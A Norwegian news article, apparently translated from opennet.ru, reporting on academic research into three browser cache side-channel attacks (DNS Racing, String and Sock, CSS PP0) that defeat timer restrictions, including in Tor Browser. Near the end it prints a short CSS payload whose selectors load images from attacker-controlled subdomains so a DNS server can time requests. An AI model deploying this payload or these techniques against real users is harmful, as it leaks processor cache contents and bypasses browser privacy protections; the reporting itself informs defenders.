CPU-cache-utvinningsangrep implementert i en nettleser uten JavaScript

Et team av forskere fra flere amerikanske, israelske og australske universiteter har utviklet tre angrep som kjører på nettlesere for å trekke ut informasjon om innholdet i prosessorbufferen. En metode fungerer i nettlesere uten JavaScript, og de to andre omgår eksisterende metoder for beskyttelse mot sidekanalangrep, inkludert de som brukes i Tor-nettleseren og DeterFox. Koden for å demonstrere angrepene, samt serverkomponentene som er nødvendige for angrepene, er publisert på GitHub.

For å analysere innholdet i cachen bruker alle angrep Prime+Probe-metoden, som innebærer å fylle cachen med et standard sett med verdier og oppdage endringer ved å måle tilgangstiden til dem når de fylles på nytt. For å omgå sikkerhetsmekanismene som finnes i nettlesere som forstyrrer nøyaktig tidsmåling, appelleres det i to alternativer til en DNS- eller WebSocket-server kontrollert av angriperen, som fører en logg over tidspunktet for mottatte forespørsler. I en utførelsesform brukes en fast DNS-responstid som en tidsreferanse.

Målinger gjort ved hjelp av eksterne DNS- eller WebSocket-servere, ved bruk av et klassifiseringssystem basert på maskinlæring, var tilstrekkelig til å forutsi verdier med en nøyaktighet på opptil 98 % i det mest optimale scenariet (gjennomsnittlig 80-90 %). Angrepsmetodene er testet på ulike maskinvareplattformer (Intel, AMD Ryzen, Apple M1, Samsung Exynos) og har vist seg å være universelle.

CPU-cache-utvinningsangrep implementert i en nettleser uten JavaScript

Den første varianten av DNS Racing-angrepet bruker en klassisk implementering av Prime+Probe-metoden ved bruk av JavaScript-matriser. Forskjellene koker ned til bruk av en ekstern DNS-basert timer og en feilbehandler, som utløses når det gjøres et forsøk på å laste et bilde fra et ikke-eksisterende domene. En ekstern timer tillater et Prime+Probe-angrep på nettlesere som begrenser eller fullstendig deaktiverer tilgang til JavaScript-timere.

For en DNS-server lokalisert på samme Ethernet-nettverk er nøyaktigheten til tidtakeren beregnet til å være omtrent 2 ms, noe som er nok til å utføre et sidekanalangrep (til sammenligning er nøyaktigheten til standard JavaScript-timeren i Tor Browser redusert til 100 ms). For angrepet er det ikke nødvendig med kontroll over DNS-serveren, siden utførelsestiden for operasjonen er valgt slik at responstiden fra DNS fungerer som et tegn på en tidligere fullføring av kontrollen (avhengig av om feilbehandleren ble utløst tidligere eller senere trekkes en konklusjon om hastigheten på kontrolloperasjonen med cachen).

Den andre angrepsmetoden, "String and Sock", har som mål å omgå sikkerhetsteknikker som begrenser lavnivåbruken av arrays i JavaScript. I stedet for arrays bruker String and Sock operasjoner på veldig store strenger, hvor størrelsen er valgt slik at variabelen dekker hele LLC-cachen (Last level cache). Deretter, ved hjelp av indexOf()-funksjonen, søkes en liten delstreng i strengen, som i utgangspunktet er fraværende i kildestrengen, dvs. søkeoperasjonen resulterer i iterasjon over hele strengen. Siden linjestørrelsen tilsvarer størrelsen på LLC-hurtigbufferen, lar skanning deg utføre en hurtigbuffersjekkoperasjon uten å manipulere matrisene. For å måle forsinkelser, i stedet for DNS, ringes det til en WebSocket-server kontrollert av angriperen - før og etter at søkeoperasjonen er fullført, sendes spørringer i linjen, basert på hvilke serveren beregner forsinkelsen som brukes til å analysere cachen. innhold.

Den tredje varianten av "CSS PP0"-angrepet implementeres gjennom HTML og CSS, og kan fungere i nettlesere med JavaScript deaktivert. Metoden ligner på "String and Sock", men er ikke knyttet til JavaScript. Under angrepet genereres et sett med CSS-velgere som søker etter maske. Den første store strengen som fyller cachen settes ved å lage en div-tag med et veldig stort klassenavn. Inne er det et sett med andre divs med sine egne identifikatorer. Hver av disse nestede divene har sin egen stil med en velger som søker etter en understreng. Når du gjengir en side, prøver nettleseren først å behandle de indre divene, noe som resulterer i en søkeoperasjon på en stor rad. Søket utføres ved hjelp av en bevisst manglende maske og fører til iterasjon over hele linjen, hvoretter "ikke"-tilstanden utløses og det gjøres et forsøk på å laste et bakgrunnsbilde som refererer til tilfeldige domener: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Underdomener betjenes av angriperens DNS-server, som kan måle forsinkelser i mottak av forespørsler. DNS-serveren utsteder NXDOMAIN for alle forespørsler og fører en logg over det nøyaktige tidspunktet for forespørsler. Som et resultat av å behandle et sett med div-er, mottar angriperens DNS-server en rekke forespørsler, forsinkelsene mellom disse korrelerer med resultatet av å sjekke cache-innholdet.

CPU-cache-utvinningsangrep implementert i en nettleser uten JavaScript


Kilde: opennet.ru

Legg til en kommentar